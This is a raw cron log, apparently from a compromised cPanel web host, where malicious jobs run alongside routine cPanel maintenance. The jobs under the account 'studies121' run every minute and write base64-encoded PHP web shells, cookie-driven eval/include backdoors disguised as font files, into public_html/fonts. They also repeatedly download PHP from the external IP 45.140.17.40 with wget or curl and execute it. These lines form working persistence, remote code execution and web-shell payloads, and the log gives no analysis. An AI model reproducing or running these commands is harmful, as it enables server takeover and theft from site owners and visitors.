Sep  9 10:25:01 ip-184-168-122-23 CROND[29138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:25:01 ip-184-168-122-23 CROND[29137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:25:01 ip-184-168-122-23 CROND[29139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:25:01 ip-184-168-122-23 CROND[29141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:26:01 ip-184-168-122-23 CROND[29412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:26:01 ip-184-168-122-23 CROND[29411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:26:01 ip-184-168-122-23 CROND[29414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:26:02 ip-184-168-122-23 CROND[29417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:26:02 ip-184-168-122-23 CROND[29418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:27:01 ip-184-168-122-23 CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:27:01 ip-184-168-122-23 CROND[29877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:27:01 ip-184-168-122-23 CROND[29878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:27:01 ip-184-168-122-23 CROND[29876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:28:01 ip-184-168-122-23 CROND[29981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:28:01 ip-184-168-122-23 CROND[29980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:28:01 ip-184-168-122-23 CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:28:01 ip-184-168-122-23 CROND[29986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:28:01 ip-184-168-122-23 CROND[29983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:29:01 ip-184-168-122-23 CROND[30122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:29:01 ip-184-168-122-23 CROND[30125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:29:01 ip-184-168-122-23 CROND[30129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:29:01 ip-184-168-122-23 CROND[30126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:30:02 ip-184-168-122-23 CROND[30265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:30:02 ip-184-168-122-23 CROND[30266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:30:02 ip-184-168-122-23 CROND[30270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:31:01 ip-184-168-122-23 CROND[30498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:31:01 ip-184-168-122-23 CROND[30500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:31:01 ip-184-168-122-23 CROND[30501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:31:01 ip-184-168-122-23 CROND[30502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:31:01 ip-184-168-122-23 CROND[30503]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:32:01 ip-184-168-122-23 CROND[30608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:32:01 ip-184-168-122-23 CROND[30609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:32:01 ip-184-168-122-23 CROND[30611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:32:01 ip-184-168-122-23 CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:32:01 ip-184-168-122-23 CROND[30614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:33:01 ip-184-168-122-23 CROND[30743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:33:01 ip-184-168-122-23 CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:33:01 ip-184-168-122-23 CROND[30746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:33:01 ip-184-168-122-23 CROND[30750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:34:01 ip-184-168-122-23 CROND[30849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:34:01 ip-184-168-122-23 CROND[30851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:34:01 ip-184-168-122-23 CROND[30852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:34:01 ip-184-168-122-23 CROND[30853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:34:01 ip-184-168-122-23 CROND[30850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:35:01 ip-184-168-122-23 CROND[31005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31013]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:35:01 ip-184-168-122-23 CROND[31012]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:36:01 ip-184-168-122-23 CROND[31146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:36:01 ip-184-168-122-23 CROND[31148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:36:01 ip-184-168-122-23 CROND[31149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:36:01 ip-184-168-122-23 CROND[31153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:36:01 ip-184-168-122-23 CROND[31152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:37:01 ip-184-168-122-23 CROND[31419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
